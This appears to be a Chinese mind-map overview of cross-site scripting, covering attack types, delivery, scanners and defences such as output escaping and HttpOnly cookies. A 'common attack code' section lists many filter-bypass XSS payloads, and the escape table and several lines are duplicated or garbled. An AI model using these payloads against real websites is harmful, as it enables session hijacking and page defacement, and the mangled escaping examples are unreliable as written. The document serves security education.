跨站脚本攻击
2019-08-21 13:09:50 2 举报
AI智能生成
XSS 跨站脚本攻击
作者其他创作
大纲/内容
什么是XSS攻击
攻击者利用站点的安全漏洞往Web页面中插入恶意的html代码或js脚本,
当用户浏览该页时,嵌入Web页面的攻击脚本会被执行,达到攻击目的。
当用户浏览该页时,嵌入Web页面的攻击脚本会被执行,达到攻击目的。
因为这种攻击是通过别人的网站脚本漏洞达到攻击的效果,
就是说可以隐藏攻击者的身份,因此叫跨站攻击。
就是说可以隐藏攻击者的身份,因此叫跨站攻击。
XSS攻击的危害
窃取用户身份和机密数据(信用卡详细信息)
绕过网站的限制
会话劫持(偷窃会话)
恶意软件攻击
破坏网站页面
DoS攻击
XSS攻击的类型
持久性XSS
Persistent XSS或Stored XSS
Persistent XSS或Stored XSS
攻击者把恶意代码提交给服务器,该代码将在所有的页面中被运行。
比如:
用户为商品提交的评价,如果攻击者提交了注入脚本的评价信息,
而网站本身又没有进行相应的输入校验,当其他的用户看到这个评价的时候,脚本将会被执行。
试想如果这段注入脚本是窃取用户cookie信息的代码,攻击者将会获其他用户的账户信息等。
比如:
用户为商品提交的评价,如果攻击者提交了注入脚本的评价信息,
而网站本身又没有进行相应的输入校验,当其他的用户看到这个评价的时候,脚本将会被执行。
试想如果这段注入脚本是窃取用户cookie信息的代码,攻击者将会获其他用户的账户信息等。
一般存在于富文本等交互功能,如发帖留言等,黑客可以用XSS内容经正常功能进入数据库持久保存
非持久性XSS
Non-Persistent XSS或Reflected XSS
Non-Persistent XSS或Reflected XSS
构造URL欺骗用户点击,URL中构造的参数值,没有进行任何过滤和转义处理就立即显示在页面上。
另外一种情况就是在检索中注入XSS脚本。
基于DOM的XSS
document.write()
eval()
setInterval(),setTimeout()
.innerHTML
通常document.location,document.URL,document.referer这几个对象最容易被利用
基于JS脚本操作document对象及URL
高级攻击技术
在PHP.ini中设置magic_quotes_gpc=ON时,
将会把单引号('),双引号("),斜杠(\)自动转化成一个反斜杠
比如:
<script>alert("hi");</script> -> <script>alert(\hi\)<script>
将会把单引号('),双引号("),斜杠(\)自动转化成一个反斜杠
比如:
<script>alert("hi");</script> -> <script>alert(\hi\)<script>
绕过PHP中的
magic_quotest_gpc
magic_quotest_gpc
通过ASCII字符绕过过滤器
<script>alert("hi");<script>
->
<script>String.fromCharCode(97,108,101,114,116,40,34,104,105,34,41,59);<script>
***JavaScript的String.fromCharCode()函数是将ASCII字符转成字符串
<script>alert("hi");<script>
->
<script>String.fromCharCode(97,108,101,114,116,40,34,104,105,34,41,59);<script>
***JavaScript的String.fromCharCode()函数是将ASCII字符转成字符串
通过HEX编码绕过过滤器
<script>alert("HI");</script>
->
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%48%69
%22%29%3b%3c%2f%73%63%72%69%70%74%3e
<script>alert("HI");</script>
->
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%48%69
%22%29%3b%3c%2f%73%63%72%69%70%74%3e
通过迷惑字符绕过过滤器
<script>alert("HI");</script> -> <ScRipt>ALeRt("hi")</sCRipT>
<script>alert("HI");</script> -> <ScRipt>ALeRt("hi")</sCRipT>
使用结束tag
"><script>alert("Hi");</script>
"><script>alert("Hi");</script>
XSS攻击的传送机制
非持久性XSS或基于DOM的XSS
可以向个体目标用户或少数几名用户发送一封伪造的电子邮件
通过即时消息向目标用户提供一个URL
付费购买许多链接至一个URL的横幅广告
持久性XSS
漏铜数据通过主WEB界面提交给应用程序
通过其他渠道向应用程序提交漏洞数据的情况.比如:WEB邮件
检测工具
Nessus被认为是目前全世界最多人使用的系统漏洞扫描与分析软件
IBM Rational APPScan
Acunetix WVS
HP Inspect
XSS Me(FireFox插件)
常见攻击代码
普通的XSS
<script>alert("XSS");</script>
"><script>alert("XSS")</script>"
Script标签内
</script><script>alert(1)</script>';alert(1);‘)alert(1);//
大小写不敏感
<ScRiPt>alert(1)</sCriPt>
<IMG SRC=jAVasCriPt:alert('XSS')>
<IMG SRC=jAVasCriPt:alert('XSS')>
IMG标签
<IMG SRC=''javascript:alert('XSS');">
<IMG SRC=''javascript:alert("XSS");">
<IMG SRC=''javascript:alert('XSS')>
<IMG SRC=''javascript:alert("XSS");">
<IMG SRC=''javascript:alert('XSS')>
<img src=xss onerrir=alert(1)>
<IMG ""><SCRIPT<alert("XSS")</SCRIPT>">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC="jav ascript:alert("XSS");"
<IMG ""><SCRIPT<alert("XSS")</SCRIPT>">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC="jav ascript:alert("XSS");"
<IMG SRC="JAV	ascript:alert("XSS");">
<IMG SRC=javascript:ale
rt('XSS')>
rt('XSS')>
<IMG SRC=javasc
ript:ale
rj('XS')>
ript:ale
rj('XS')>
<IMG SRC=javascript:ale
rt('XSS')>
rt('XSS')>
HTML标签
<BODY BACKGROUP="javascript:alert("XSS")">
<BODY ONLOAD=alert("XSS")>
<INPUT TYPE=''IMAGE" SRC="javascript:alert("XSS");">
<IMG SRC="javascript:alert("XSS")"
<INPUT TYPE=''IMAGE" SRC="javascript:alert("XSS");">
<IMG SRC="javascript:alert("XSS")"
<iframe src=http://ha.ckers.org/scriptlet.html<
绕过过滤器
<<SCRIPT>alert("XSS");//<</SCRIPT>
%253cscript%253ealert(1)%253c/script%253e
">s"%2bcript>alert(document.cookie)</script>
foo<script>alert(1)</script>
<scr<script>ipt>alert(1)<scr=</script>ipt>
String.fromCharCode
<SCRIPT>String.fromCharCode(97,108,101,114,116,40,49,41)</SCRIPT>
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83)//\";
alert(String.fromCharCode(88,83,83)//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)</SCRIPT>
alert(String.fromCharCode(88,83,83)//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)</SCRIPT>
防御技术
基于防御
除非是允许的地方,其他地方不要插入不信任的数据
脚本<script>...NEVER PUT UNTRUSTED DATA HERE...</script>
注释<!--...NEVER PUT UNTRUSTED DATA HERE...-->
样式<style>...NEVER PUT UNTRUSTED DATA HERE...</style>
注释<!--...NEVER PUT UNTRUSTED DATA HERE...-->
样式<style>...NEVER PUT UNTRUSTED DATA HERE...</style>
在HTML元素中插入不信任的数据要做HTML转义
&--》&
<--><
>-->>
"-->"
'-->'
/-->/
&--》&
<--><
>-->>
"-->"
'-->'
/-->/
标签的属性
CSS的属性
URL
基于DOM的XSS的防御
将不信任的数据插入到HTML之前使用HTML转义/JavaScript转义
element.innerHTML="<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%";
element.innerHTML="<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%";
将不信任的属性设置给标签属性前使用JavaScript转义
x.setAttribute("value","<%=Encoder.encodeForJS(companyName)%>");
x.setAttribute("value","<%=Encoder.encodeForJS(companyName)%>");
特别注意将不信任的数据插入事件处理或JavaScript代码中
将不信任的数据设置到CSS属性之前使用JavaScript转义
document.body.style.backgroundImage="url(<%=Encoder.encodeForJS(Encoder.encoderForUrl(companyName)))%>";
document.body.style.backgroundImage="url(<%=Encoder.encodeForJS(Encoder.encoderForUrl(companyName)))%>";
将不信任的数据设置到URL属性之前使用URL转义和JavaScript转义
x.setAttribute("href",'<%=Encoder.encodeForJS(Encoder.encodeForURL(userRelativePath))%>');
x.setAttribute("href",'<%=Encoder.encodeForJS(Encoder.encodeForURL(userRelativePath))%>');
使用HttpOnly cookie
有助于阻止攻击者使用XSS漏洞实施会话劫持攻击。
在Set-Cookie消息投中标记为HttpOnly:
Set-Cookie:SessId=12d1a1f856ef224ab424c2454208ff;HttpOnly;
Set-Cookie:SessId=12d1a1f856ef224ab424c2454208ff;HttpOnly;
当一个cookie标记为Http时,支持它的浏览器将阻止客户端JavaScript直接访问该cookie
0 条评论
下一页